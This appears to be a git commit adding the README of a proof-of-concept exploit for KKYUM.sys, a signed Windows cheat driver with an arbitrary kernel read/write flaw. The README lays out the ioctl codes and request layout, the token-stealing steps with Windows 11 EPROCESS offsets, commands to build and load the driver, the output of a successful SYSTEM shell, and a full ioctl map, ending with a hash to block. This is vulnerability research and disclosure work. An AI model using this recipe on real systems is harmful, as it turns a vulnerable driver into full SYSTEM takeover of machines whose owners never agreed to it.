KKYUM.sys PoC

This commit is contained in:
0xdeadbeefnetwork
2026-08-16 00:25:16 -04:00
commit 88494cd843
3 changed files with 476 additions and 0 deletions
+154
View File
@@ -0,0 +1,154 @@
# KKYUMPoC
```
_._ _,-'""`-._
(,-.`._,'( |\`-/|
`-.-' \ )-`( , o o)
`- \`_`"'- _SiCk // afflicted.sh
```
PoC and driver analysis for **KKYUM.sys**, a WHQL-signed cheat driver
(LOLDrivers PR #405, sha256
`72bd55f4459c992b9caa1a33cb6862f1f3085ca35839c58dee8b75db22ca605f`,
26,768 bytes, WHQL-attestation signed). The leaf signer is the uniform
`CN=Microsoft Windows Hardware Compatibility Publisher` (via
`Microsoft Windows Third Party Component CA 2012`) that every
attestation-signed driver carries — **the vendor identity is not recoverable
from the artifact**. Version resource is stripped; the only fingerprint
present is `PDBPath: E:\Windows\Desktop\Dev\Driver\IOBase\kmumd\Release\ioctl-km.pdb`.
The driver exposes `\\.\KKYUM` with no meaningful ACL and wraps
`MmCopyVirtualMemory` behind two ioctls that take a **caller-supplied PID**:
arbitrary cross-process read/write, kernel VAs included, from a standard
user token. The device resolves `PsLookupProcessByProcessId(pid)` per call
and never checks who's asking.
```c
#define IOCTL_READ 0x22265c
#define IOCTL_WRITE 0x222658
// in/out buffer layout, both directions:
typedef struct {
uint32_t pid; // target process, any pid incl 4
uint32_t count; // op count
struct {
uint64_t remote; // VA in target process (kernel VA ok)
uint64_t local; // VA in your process
uint64_t size;
} ops[1];
} REQ;
```
## the PoC (pwn.c)
Elevated token-steal, 126 lines, HVCI-compatible (data-only):
1. `AdjustTokenPrivileges(SeDebugPrivilege, ENABLED)` — required. the
SystemModuleInformation scrub gate checks **enabled**, not held. a stock
admin cmd holds it disabled and QSI(11) returns zeroed ImageBase.
2. `NtQuerySystemInformation(SystemModuleInformation)` -> ntoskrnl base.
3. Walk ntoskrnl exports -> `PsInitialSystemProcess` -> System EPROCESS.
4. Walk `ActiveProcessLinks` until pid matches ours.
5. Copy System's token over ours. Verify. Spawn `cmd /k whoami` (SYSTEM).
6. Restore original token after 2s.
Offsets (Windows 11 26100 / 26200):
```
UniqueProcessId 0x1d0
ActiveProcessLinks 0x1d8
Token 0x248
```
## build
```
x86_64-w64-mingw32-gcc -s -O2 -o pwn.exe pwn.c
```
## run
Load the driver once from an elevated cmd (driver not bundled in this repo —
pull from LOLDrivers PR #405):
```
sc create KKYUM binPath= C:\path\to\KKYUM.sys type= kernel
sc start KKYUM
```
then from the same elevated cmd:
```
pwn.exe
```
Expected:
```
[*] KKYUM.sys LPE
[+] nt fffff807bf800000
[+] dev
[+] sysEproc ffffbb8fc44c5040
[+] pid 2552 eproc ffffbb800aff2080 tok ffffaa086420263f -> ffffaa07fb27d93f
[+] SYSTEM shell (pid 26644)
[+] restored
```
Verified on Windows 11 26200 with VBS off (VM) and with HVCI on
(bare metal). pwn.exe also auto-starts the service if it finds it stopped.
## full ioctl map
see [ANALYSIS.md](ANALYSIS.md). summary:
```
0x222658 WRITE {pid, count, ops[{remote, local, size}]} MmCopyVirtualMemory
0x22265C READ same layout, direction flipped
0x222650 module base {pid, name} -> DllBase, PEB->Ldr walk, out @ +520
0x222654 image name -> pid, kernel-side QSI walk, out @ +512
0x22261C DKOM link, objects via win32kbase!ValidateHwnd, +88/+96
0x222620 DKOM unlink (window hiding)
0x222624 win32kfull call-site with attacker-controlled RDX
0x222640 set XOR key for subsequent ioctl buffers
0x222644 kbdclass/mouclass queue scanner init
0x222648 cursor sprite patch
0x22264C cursor sprite patch (variant)
0x222662 READ, MDL variant (same MmCopyVirtualMemory)
0x222666 WRITE, MDL variant
```
Import table is ntoskrnl + the WDF loader stub only. No NDIS/WSK/file/registry
imports — the driver has no C2 or exfiltration capability; if the parent cheat
phones home, the user-mode client does it.
## unelevated notes (why this repo is elevated-only)
On 26100/26200 every classic unelevated kernel-address disclosure is closed
against a standard user token:
- QSI 0x11 module info / 0x40 handle table / 0x39 thread fields: scrubbed
- QSI 0x42 big pool: tags+sizes real, address field reduced to a 0/1 flag
- TEBs: sanitized
- desktop heap user alias: relative offsets, no raw kernel pointers
- System (pid 4) `PEB->Ldr` is NULL — the module-lookup ioctl leaks nothing
and the last fixed-address fallback is a trap: ring-3 `sidt` on 26200 returns
a decoy IDT base (`0xFFFFF80000001000`, unmapped) — reading it through the
driver is a guaranteed `PAGE_FAULT_IN_NONPAGED_AREA` bugcheck. Verified on
both a VMware guest (VBS off) and bare metal under Hyper-V (HVCI on), same
faulting address on both. Control read through the same primitive
(`0xFFFFF78000000000`, kernel view of KUSER_SHARED_DATA) returns real bytes,
so the primitive is fine — the address isn't.
Full writeup, including the four bluescreens and the sidt post-mortem:
<https://afflicted.sh/blog/posts/kkyum-leak-graveyard.html>
## defense
Block by hash `72bd55f4459c992b9caa1a33cb6862f1f3085ca35839c58dee8b75db22ca605f`
(Microsoft vulnerable driver blocklist entry pending at time of writing) and
revoke trust in the signing identity if you're in a position to.
lab use only. point it at machines you own.
_SiCk · [afflicted.sh](https://afflicted.sh)